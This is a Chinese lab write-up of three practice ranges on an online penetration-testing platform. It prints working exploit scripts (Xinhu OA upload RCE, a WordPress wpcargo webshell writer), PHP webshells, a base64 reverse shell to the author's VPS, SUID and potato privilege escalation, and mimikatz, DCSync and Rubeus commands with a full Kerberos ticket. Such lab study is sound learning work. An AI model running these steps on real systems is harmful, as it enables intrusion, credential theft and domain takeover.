0%

春秋云境靶场复现

前言:

以前就想学习一下渗透了,借着寒假空闲且要准备国赛打打春秋云境的靶场学习学习。(更新中)

专业徽章

Initial

工具准备:thinkphpGUI、fscan、suo5、Proxifier、msf、proxychains

知识点:thinkphp5.0.23RCE、信呼oa、内网ms17010、域渗透DCSync

靶场介绍:Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

外网

进入后发现一个登录界面

弱口令登录看看不行,用dirsearch扫描扫出一个robots.txt也并没有什么用

看网页的标签可以很明显的发现是一个thinkphp框架,用thinkphpGUI扫描一下发现有个ThinkPHP 5.0.23 RCE

直接getshell

用蚁剑连接,但是进去后并没有flag

进入终端发现是www-data用户,尝试提权

使用sudo -l查看可以使用的命令

sudo -l:用于列出当前用户可以使用 sudo 命令执行的所有命令。有助于了解用户的权限和可以执行的操作

可以发现可以用root的身份无密码执行mysql命令,那么接下来就是利用mysql来提权。

1
2
3
sudo mysql -e '\! whoami'
//-e:允许你在命令行中直接指定要执行的SQL语句。
//\!:是一个特殊的命令,用于在MySQL客户端中执行系统命令。

查看一下root目录没想到直接就看到flag目录了,继续查看最后得到flag的第一个部分。

1
flag01: flag{60b53231-

看了一下师兄wp的思路,也可以在/var/www/.bash_history看到历史命令然后直接mysql提权得到flag(还是比较快的)

外网找完了继续打内网

内网

先进行内网的信息搜集

ifconfig发现存在局域网

检查是否出网

可以出网,那么开始上传fscan(这边重置了一下靶场,ip变更)

检查系统框架

1
uname -m

找到对应的fscan,直接将fscan拖到/var/www/html并赋权就可以开始扫描内网了 。

1
2
chmod 777 fscan
./fscan -h 172.22.1.15/24

这边有个疑问就是为什么用以下的方法没办法上传fscan(都是用curl ipinfo.io测过可以出网的)

1
2
3
4
5
6
//kali、ubuntu、云服务器
python3 -m http.server <PORT>
//靶机
curl http://<kali-ip>:<PORT>/fscan --output fscan
或curl -o http://<kali-ip>:<PORT>/fscan
或wget http://<kali-ip>:<PORT>/fscan

扫描完后到目录打开result.txt查看

整理一下,如下

信呼oa

socks代理

先将内网代理到vps,利用的工具是suo5(也可以用chisel)

由于我的电脑不知道为什么运行GUI版本的有点问题所以直接用命令行

1
suo5.exe -t http://39.98.114.28/suo5.php -l 127.0.0.1:1111

接下来代理到本地,利用的工具是proxifier

Profile-Proxy-Servers-Add

Profile-Proxification Rules-Add

然后就能访问到信呼oa了

接着用弱口令登录看看发现用户名是admin,但是密码不对

打开bp开始爆破密码,但是爆破发现他会有操作频繁的限制所以如果没在头几个就爆破出密码的话就不可能爆破出来

最后自己尝试admin123登录成功

image-20250111102107122.png

登录后在网上可以找到相关的漏洞

法一:信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE

根据文章里的exp修改运行

1
<?php @eval($_POST["1"]);?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(url_pre + filepath + "?1=system('whoami');")
print(r.text)

用蚁剑连接,找到flag02

1
flag02: 2ce3-4813-87d4-

法二:手动上传文件 通读审计之信呼OA

在自己的服务器搭建一个上传的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://172.22.1.18/api.php?m=upload&a=upfile&adminid=&device=1625923765752&cfrom=mweb&token=&sysmodenum=officia&sysmid=0&maxsize=2" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>

再将木马文件1.php上传,即可得到文件上传路径和id

1
2
3
4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<?php @eval($_REQUEST['1']);?>

//由于有上传限制要大于2MB,所以要添加脏数据

image-20250111184012450.png

生成php文件

1
http://172.22.1.18/task.php?m=qcloudCos|runt&a=run&fileid=13

image-20250111183923106.png

访问上传路径发现getshell成功了

image-20250111183907810.png

法三:mysql写入日志

用dirsearch扫描网站目录

发现有个phpmyadmin,访问

用弱口令root/root直接就登录进去了

首先查看系统变量,通用查询日志是否开启

1
SHOW VARIABLES LIKE 'general%';

发现是关闭的,那么将其设置为ON

1
SET GLOBAL general_log = "ON"

更改的查询日志文件的路径为自己木马文件的位置(在C:\phpStudy\PHPTutorial找到一个可以写入文件的目录)

1
SET GLOBAL general_log_file='C:\\phpStudy\\PHPTutorial\\www\\1.php'

写入一句话木马

1
select"<?php @eval($_POST[1]);?>";

用蚁剑连接然后找到flag02.txt

可以看到木马文件的内容

ms17-010

从上面的整理可知172.22.1.21存在永恒之蓝

那么直接用msf来打

查看一下出不出网

可以发现是不出网的,那么就用正向来打

利用proxychains来代理(kali)

1
vim /etc/proxychains4.conf

suo5代理到vps(服务器端)

1
./suo5 -t http://39.99.133.101/suo5.php -l 0.0.0.0:4444

配置好后开始打永痕之蓝进行横向(但是不知道是不是流量太大的问题拿不到shell)

横向移动:在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。

1
2
3
4
5
6
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
show options
set RHOSTS 172.22.1.21
exploit

这边不知道是不是流量过大没拿下shell,那么继续横向还有172.22.1.2存在DCSync

DCSync攻击

DCSync攻击:AD域渗透中常用的凭据窃取手段。默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个域控制器(DC 1)想从其他域控制器(DC 2)同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制。DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据

DCSync 攻击前提:
默认情况下,必须获得以下任一用户的权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户域控制器的计算机帐户

开始传递哈希

加载Kiwi扩展(也可以用Mimikatz)

1
load kiwi

1
2
3
4
5
6
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
//kiwi_cmd:调用Kiwi的命令行接口
//lsadump::dcsync:指定使用DCSync模块
///domain:指定目标域名,在上面用fscan扫出来xiaorang.lab
///all:提取域中所有用户的凭据
///CSV:将结果输出为CSV格式

1
2
3
4
5
6
7
8
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

//crackmapexec smb:使用crackmapexec工具对SMB服务器执行操作
//SMB:是一种网络协议,基于客户端-服务器模型,提供了一种安全的方式来管理共享资源的访问权限,可以通过用户名和密码进行身份验证,确保只有经过授权的用户才能访问
//-u:指定用户
//-H:指定用户的哈希值
//-x:执行命令
//type Users\Administrator\flag\flag03.txt:显示文件内容,猜测flag文件路径应该与172.22.1.18的一致

1
flag03: e8f88d0d43d6}

总结:

Brute4Road

工具准备:redis-rogue-servercdk、fscan、vemongost、proxifier、proxychains、wpscan、SNETCrackermdut或navicat、SweetPotato、BloodHound、SharpHound、mimikatz、Rubeus

知识点:Redis主从复制rce、wordpress未授权rce、mssql数据库提权、约束委派攻击

靶场介绍:Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

外网

信息搜集

题目给了ip,先ping一下

该ip为公网

**

用nmap半开放扫一下端口,有个80端口但是访问后就是一个站点没什么漏洞

 2025-01-14 171028.png

用工具扫一下漏洞以下有两种方式(注意:因为网络问题我在这里扫了半天扫不出漏洞)

法一:nmap

1
nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 39.99.253.89

法二:fscan

1
fscan.exe -h 39.99.253.89

可以发现扫出来一个ftp匿名访问和Redis未授权

但是ftp匿名访问只有一个空的pub目录没什么好看的,重点打一下这个Redis未授权

Redis未授权

可以看到nmap扫出来的结果,Redis的版本为5.0.12

如果用fscan扫的话没有版本信息,可以下一个redis-cli然后通过redis-cli -h 39.99.253.89 -p 6379 连接,用命令INFO server查看版本信息

版本小于5.0.5,存在Redis主从复制RCE

法一:利用redis-rogue-server来getshell

1
python3 redis-rogue-server.py --rhost 39.99.253.89 --lhost <your_vps> --lport 7777

1
nc -lvvp 7777

但是我们可以发现反弹回来的并不是tty(终端),我们创建一个pty(伪终端)(这题影响不大,但是有时候不是tty会有影响)

1
python -c 'import pty; pty.spawn("/bin/bash")'

法二:利用msf来getshell

1
2
3
4
5
6
use exploit/linux/redis/redis_replication_cmd_exec
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 39.99.253.89
set lhost <kali_ip>
set srvhost <kali_ip>
run/exploit

得到meterpreter之后执行shell即可。(这里重置了一次靶场,我redis崩了之后就连不上了,要一次操作好)

找flag的位置,在home目录里面直接就找到了

1
find /home -name "flag"

进入到flag目录里发现有个flag01但是权限不够没办法查看,需要提权

提权

查找具备suid权限的命令

1
2
3
4
5
6
find / -user root -perm -4000 -print 2>/dev/null

//-user root:查找由root用户拥有的文件。
//-perm -4000:查找具有设置用户ID(SUID)位的文件。SUID位允许用户以文件所有者的权限执行该文件。
//-print:打印找到的文件路径。
//2>/dev/null:将标准错误输出重定向到 /dev/null,以忽略权限拒绝等错误信息。

利用 base64进行suid提权(由于我们不知道密码所以没法用sudo和su来提权,base64提权只能读取文件在这里比较方便)

1
base64 "/home/redis/flag/flag01" | base64 --decode

1
flag01:flag{86aa08c2-50f5-49af-8229-ea5446d7c6fd}

内网

信息搜集

上传fscan(这里上传只用vps成功了,在kali和ubuntu启web服务都传不过去之前也是)

1
2
3
4
5
6
//进入到临时文件存放目录
cd tmp
//vps
python3 -m http.server 2201
//vps
wget -t 2 http://<your_vps_ip>:2201/fscan

查看一下网络,但是没有ifconfig,以下有两种方式

法一:上传cdk

同上面一样的上传方法

1
2
chmod 777 cdk
./cdk ifconfig

法二:netstat -ano

该命令本意是查看端口开放情况,这里用来获取所在网段

赋权fscan,开始扫描

1
2
chmod 777 fscan
./fscan -h 172.22.2.7/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//result.txt
(icmp) Target 172.22.2.34 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.16 is alive
[*] Icmp alive hosts len is: 5
172.22.2.3:88 open
172.22.2.3:139 open
172.22.2.18:139 open
172.22.2.34:139 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.34:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:445 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:6379 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.16:1433 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.34:445 open
172.22.2.16:139 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.682211485s

整理一下

内网穿透

法一:正向连接(推荐)

传gost

1
wget -t 2 http://<your_vps_ip>:2201/gost

赋权并开始代理

1
2
chmod 777 gost
./gost -L=admin:[email protected]:1080

配置proxifier

添加代理服务器(注意要开放vps的1080端口)

 2025-01-14 224043.png

添加规则

 2025-01-14 224647.png

配置proxychains(后面有用)

 2025-01-14 224321.png

法二:反向连接

frp代理需要改配置有点麻烦且有点不稳定,这里就直接用vemon来代理(虽然也很不稳定)

上传vemon

1
wget -t 2 http://<your_vps_ip>:2201/Venom/agent_linux_x64

vemon配置(只能socks5代理)

1
2
3
4
5
6
//赋权
chmod 777 agent_linux_x64
//vps
./admin_linux_x64 -lport 8888
//靶机
./agent_linux_x64 -rhost <your_vps_ip> -rport 8888

配置proxychains

1
vim /etc/proxychains4.conf

配置proxifier

添加代理服务器(注意要开放vps的1080端口)

添加规则

测试

可以访问172.22.2.18

内网渗透

wordpress未授权RCE

用wpscan(kali自带)扫描172.22.2.18(这里我的云服务器崩了,又得从头弄艹)

1
proxychains wpscan --url http://172.22.2.18

发现有一个wpcargo插件

运行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

访问webshell.php?1=system

连接蚁剑(注意要改连接类型)

 2025-01-14 225431.png

但是进去后发现终端打不开,翻了好久也没找到flag,但是可以看到网站的配置文件/var/www/html/wp-config.php中有数据库用户和密码。(这里网断了,又重置了一回靶场)

用蚁剑检测一下数据库类型为mysql

用蚁剑连接数据库

进入后直接就能看到flag

1
flag02:flag{c757e423-eb44-459c-9c63-7625009910d8}
MSSQLSERVER

之前用fscan扫出来的172.22.2.16,尝试连接一下数据库但是没有密码

上面的mysql数据库中有一个表叫做S0meth1ng_y0u_m1ght_1ntereSted里面有一列密码,应该就是我们需要的mssql数据库的密码字典。(注意要修改范围)

将其导出并将表格里的密码复制到txt文件中。开始爆破密码

爆密码有两种方式

法一:SNETCracker

法二:fscan

1
fscan.exe -h 172.22.2.16 -m mssql -pwdf 1.txt

用户名为默认的:sa 密码为:ElGNkOiC

连接数据库两种方式

法一:navicat(不推荐)

但是navicat连上数据库后不能直接getshell

1
2
3
4
5
6
7
8
//查看有没有xp_cmdshell服务
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
//启用cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
//执行命令
exec master..xp_cmdshell 'whoami'

很不方便

法二:mdut(推荐)

不知道是不是java环境的问题有时候会报错,重新下一个就行

连接成功后激活所有组件,将编码改为GBK就可以执行命令了

可以看到当前的用户是mssqlserver权限太低了,所以我们需要提权到system

利用甜土豆来提权

上传甜土豆到public目录

执行命令

1
C:/Users/Public/SweetPotato.exe -a "whoami"

可以看到已经提权成功了

创建一个新用户TG1u,密码为:g123456@

1
2
C:/Users/Public/SweetPotato.exe -a "net user TG1u g123456@ /add"
///add:创建一个新用户账户。

将用户TG1u加到管理组,赋予最高权限

1
2
3
4
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators TG1u /add"
//localgroup:用于管理本地用户和组
//administrators:管理员组
///add:将指定的用户添加到管理员组中。

具备管理员后远程桌面连接

连接上后,在C:\Users\Administrator\flag找到flaag03

1
flag03:flag{47b8fece-1402-46fa-ae68-d956b1ee3a8e}

其实也可以直接读取到(主要是下面的操作用远程桌面会舒服点)

1
C:/Users/Public/SweetPotato.exe -a "type C:\Users\Administrator\flag\flag03.txt"

域渗透
域信息搜集(失败)

刚刚的远程桌面就可以派上用场了

直接命令执行systeminfo查看当前域的环境

可以看到和172.22.2.34处于同一个域中,那么就不用管172.22.2.34,直接继续在172.22.2.16打就可以了

分析一下域环境

这边直接在kali里使用neo4j和bloodhound

1
apt install neo4j

下完后进入neo4j控制台,默认端口:7474,默认用户名和密码:neo4j/neo4j

1
neo4j console

在kali浏览器中访问http://localhost:7474,输入用户名和密码

进入后修改默认密码

这样就配置完成了,接下来用bloodhound连接一下neo4j

下载bloodhound,将下载完的包放入kali解压

进入目录启动

1
2
3
4
unzip BloodHound-linux-x64.zip
mv BloodHound-linux-x64 BloodHound
cd BloodHound
/BloodHound --no-sandbox

输入刚刚设置的密码,然后login

上传 SharpHound.exe或SharpHound.ps1工具到public目录,再在远程桌面中拖到桌面上,进行域环境搜集

1
2
3
SharpHound.exe -c all

powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

利用system权限运行

1
C:/Users/Public/SweetPotato.exe -a "C:/Users/Public/SharpHound.exe -c all"

但是在这里我的SharpHound分析成功了但是没法生成.zip文件(不知道是什么问题),所以也就没法导入bloodhound来继续分析了。

约束委派攻击

域委派:简单来说就是当A访问服务B时,服务B拿着A用户的凭证去访问服务C

分类:

  • 非约束委派攻击:攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

  • 约束委派攻击:服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以 伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2 。

  • 基于资源委派攻击

TGT(Ticket Granting Ticket):在计算机安全和身份验证(如Kerberos协议)中,这是一种用于用户身份验证的票证。用户在成功验证身份后,会收到TGT,然后用它来请求访问特定服务的票证,而不需要再次输入密码。

ST(Service Ticket):同样在Kerberos等身份验证系统中,TGT用于请求ST,ST则用于访问特定服务。用户通过TGT获取ST后,使用ST访问目标服务。

很明显我们这里要打的是约束委派攻击,我们通过RDP(远程桌面协议)进入目标计算机(此时可以被视为获得了第一个服务票据ST1)。可以通过mssql用户的Hash值得到mssql用户的TGT票据,从而伪造S4U请求(此时获取到了第二个服务票据ST2)。我们就可以以域管理员的权限访问到域里面域管理员的目录。

攻击流程清楚了那么下面就开始攻击

上传minikatz到public目录

在远程桌面里用管理员权限启动minikatz.exe

1
2
3
4
privilege::debug
//获取调试权限
sekurlsa::logonpasswords
//列出当前登录用户的明文密码、哈希值、票据等信息

1
2
Username: MSSQLSERVER$
NTLM: 299022e98a5b862963a4397a23255288

用Rubeus申请用户MSSQLSERVER的TGT票据

上传Rubeus.exe到public目录

在远程桌面的public目录打开终端运行

1
2
3
4
5
6
7
8
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:299022e98a5b862963a4397a23255288 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

//asktgt:用于请求TGT票据。
///user:指定了要请求TGT票据的用户
///rc4:包含了一个 RC4 密钥,用于 Kerberos 认证中的加密过程。
///domain:指定域
///dc:指定域控制器的主机名
///nowrap:告诉Rubeus不要包装票据,即在输出中不要包含额外的信息。

将这个票据的base64编码复制粘贴到下面,通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存

1
2
3
4
5
6
7
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3UBosfs+Fgp4c7ROTIF9c8qS0PvJhamZWT+7IoLe2+4f+BJ3LJMsz3fbkEV3xN/EngeVqYI/xg6iCEGTL4IHWHZ+1P+icbfrLKKaTHrexzz4DO/167z9KOSMwi4kKd/HT0Hhn1v86Zo0kq4o/EvOV/eqMjM3N95xwFhHFQUMySqzdHBmfFdheKmOywo7be8L0kfpEz0fIjRbSvP/OpXt74nXvCFeyqBvgYgnw+aVN8qflApwS5r+3wTuYISnKYqtgugK0nOsb6GpW4ge4UcizMX9fQuTI3nGN5IRbuid7uxWeAdUoTvgav4dfeREINK4jC+R1LiR9dkqV+Rr1z1CUiYsIaVGBxkE4VKiB3s2EsrSR0OEvi3n5scB0sMkaMwEWtgRapq77JkWm3KBsoDnE/Cg21dS6cTLO4QHOs1HGfXVSbKWw1C2iCphS3aLc5jUQAz5SOjmwbJ2tbUjapw8UP5hvgoyWJ0JcWtAAQIJMVYsvGi8dC2OWjFwh+uDrpn2xx8YF6b/L5ek91RoYj+Dmmwx3wvq6d+/sLw6A94sU2ildHRcfcp8F8SUbJruJWHUFIp4QZnRlNS2KNjcrN6P/DQb0DUov/YLe2222vRiFCZbABhCmy5JpJQ+/Fn9zvmJ7SsmWitvxwuypmrR0JjnhKq0yM/x00EebcDcVyHKbQ45Cf2XzEEDhHUK/XXObCA1TsT8n78RMgh4EEq7JL1f86ZiT12CSlI60SB7UdokvmAIbbkzsXm9FuQ+AX9c75zDHhqa2LmGebTaVyJD5YmaizZQYjmfUJWseP/1094RwvVncoOy4zt4ujk3Sh/AdxwND6FYM3Vz1m0u7hthVPAwNZX7JAdKQcBjoo6kYQiKkGZ0wZIPZ9C7fz9sxnat5KtCtfHKyDEvCbDXdF8sMRlHecOhzYuLin5Hc21q1UU+y1+D2On+UN8uPSxFlF1gCVL+WU/qwCjazARwoObMegWSp6ulwHuBiHU092+O6lzxPUtDhGnz7i+MrrEQLCnp3HbX0MazuL2bZP//zbrNwjWW8cWq2EEpsi2mO+kwu5mclbdj+ZlnGKcFU5gIOnRVa4GAhsy0Npf5m7YMzM/jFwvkpXcd3rnTD7a1jsUQ8GFaT1HDf/orz+u1XxEMYWE3lAmvAfXmM5JnF7YojKaUGQYpKymExG+r+xQ0VWa9cwfZfRIUSeqzi1U+YcTWQk5te22l265OhPeTd1WcIycwuo9it/Nu971CANRU4S2L84X7+S6fVSpmUI9DOqyHNH28Lw4+9yxpKpscbHuPF9DypbLjt2eKpIQqpxYKr13WtxORw4Ng0IdE2tfPdvt6DMCPoq1sSPP407g93Ze9L5qjCUIRGoABlGFtkMepmkeo03et2ngsgIkguwvv9eLno34dDBrkm3RtAIYxgrtds80BqqswHrMtMOK2gXbIivtbcchbYDTvVhCmBJZYpFvRB0kKqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBisajzDWT9DHJ8LdL5picEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDExNDIwMDAxN1qmERgPMjAyNTAxMTUwNjAwMTdapxEYDzIwMjUwMTIxMjAwMDE3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

//s4u:执行S4U攻击
///impersonateuser:指定要冒充的用户
///msdsspn:指定要模拟的服务主体名称,即CIFS/DC.xiaorang.lab
///ptt:告诉Rubeus将票据导入当前会话以模拟用户的凭据。
///ticket:票据

查看域控C盘下\Users\Administrator路径的文件结构

1
dir \\DC.xiaorang.lab\C$\Users\Administrator

发现有个flag目录,获取flag04.txt内容

1
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

1
flag04:flag{be35cc01-4d55-4b59-a121-8549d8e89af7}

后面有了域管理员权限后我们可以继续用mimikatz得到域管理员的哈希,通过WMI横向打域控可以渗透到172.22.2.3(但是好像没啥用flag已经找全了)

1
proxychains impacket-wmiexec -hashes :<域管理员Hash> [email protected]

总结:

Time

工具准备:fscan、rhino_gadget、gost、proxifier、kerbruteGetNPUsers、hashcat、SharpHound和BloodHound、wmiexec

知识点:CVE-2021-34371、sql注入、AS_REP Roasting攻击、抓取自动登录密码、WMI横向

靶场介绍:Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

外网

信息搜集

用nmap半开放扫一下端口没有什么有用的端口

直接用fscan扫漏

根据上一个靶场对neo4j的使用,我们可以知道这个7687端口是其默认端口。访问7474端口查看一下版本为4.0.6

CVE-2021-34371

虽然版本大于3.4.18,但是还是尝试一下nday:CVE-2021-34371(Neo4j <= 3.4.18)。

利用rhino_gadget弹shell

1
2
3
4
5
6
7
//windows
java -jar rhino_gadget.jar rmi://39.99.130.27:1337 "bash -c
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzx5b3VyX3Zwc19pcD4vNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
//base64加密:/bin/bash -i >& /dev/tcp/<your_vps_ip>/7777 0>&1

//vps
nc -lvvp 7777

发现居然弹成功了存在nday,查看一下flag的位置(一般直接在home目录里找就行)

1
find ./home -name "flag*"

获取flag01.txt

1
flag01:flag{e214c91e-037e-4461-9f21-ab19a35d63e7}

内网

信息搜集

查看一下网段信息,存在局域网

上传fscan

1
2
3
4
5
6
//vps
python3 -m http.server 2201

//neo4j
cd tmp
wget -t 2 http://<your_vps_ip>:2201/fscan

用fscan扫描一下内网

1
2
chmod 777 fscan
./fscan -h 172.22.6.36/24

整理一下

内网穿透

由于上一个靶场反向连接有点不稳定这里还是继续用正向连接就好

上传gost

1
wget -t 2 http://<your_vps_ip>:2201/gost

搭建socks5代理

1
2
chmod 777 gost
./gost -L=admin:[email protected]:1080
配置proxifier

添加服务

添加规则

测试

访问172.22.6.38(上面fscan扫出端口了就不用nmap再扫一遍了)

配置proxychains(下面会用到)
1
vim /etc/proxychains4.conf

内网渗透

sql注入

访问172.22.6.38是一个后台登录

尝试一下弱口令爆破没爆出来

尝试一下sql注入,用bp抓包复制到1.txt,用sqlmap扫看看(这里用kali里自带的sqlmap,也可以用windows的)

1
proxychains sqlmap -r 1.txt --dbs

可以发现存在sql注入,查看oa_db数据库直接就拿到flag02了

1
proxychains sqlmap -r 1.txt -D oa_db --dump

1
flag02:flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}
域渗透

sqlmap扫出来了一个还扫出来一个表,看到[email protected]可能是域里面的用户。

sqlmap会自动将结果导入到一个csv文件中,我们将其移动到普通用户目录

1
mv /root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_users.csv /home/lin/

将csv文件导出,用python脚本提取出用户名信息放入到user.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import csv
import re

# 读取 CSV 文件
with open('oa_users.csv', mode='r') as file:
csv_reader = csv.DictReader(file)

users = []
for row in csv_reader:
email = row['email']
match = re.search(r'(\w+)@xiaorang.lab', email)
if match:
username = match.group(1)
users.append(username)

# 将提取的用户名保存到 user.txt 文件中
with open('user.txt', 'w') as file:
for user in users:
file.write(user + '\n')
AS_REP Roasting攻击

AS_REP Roasting攻击:针对Kerberos认证协议的攻击技术,旨在获取用户的加密哈希值,从而进行离线暴力破解。

攻击方式:

  1. 攻击者识别出目标域中使用了 Kerberos 认证的用户。
  2. 攻击者发送一个特殊构造的 AS-REQ 请求,请求 AS-REP 响应而不提供用户的明文密码。
  3. 如果目标域中存在禁用预身份验证(Pre-Authentication)的用户(例如服务账户),Kerberos 将返回 AS-REP 响应,这个响应是加密的,但不需要提供用户密码。
  4. 攻击者收集这些 AS-REP 响应,并尝试对其进行离线破解,以获取用户的明文密码。

AS-REQ请求:

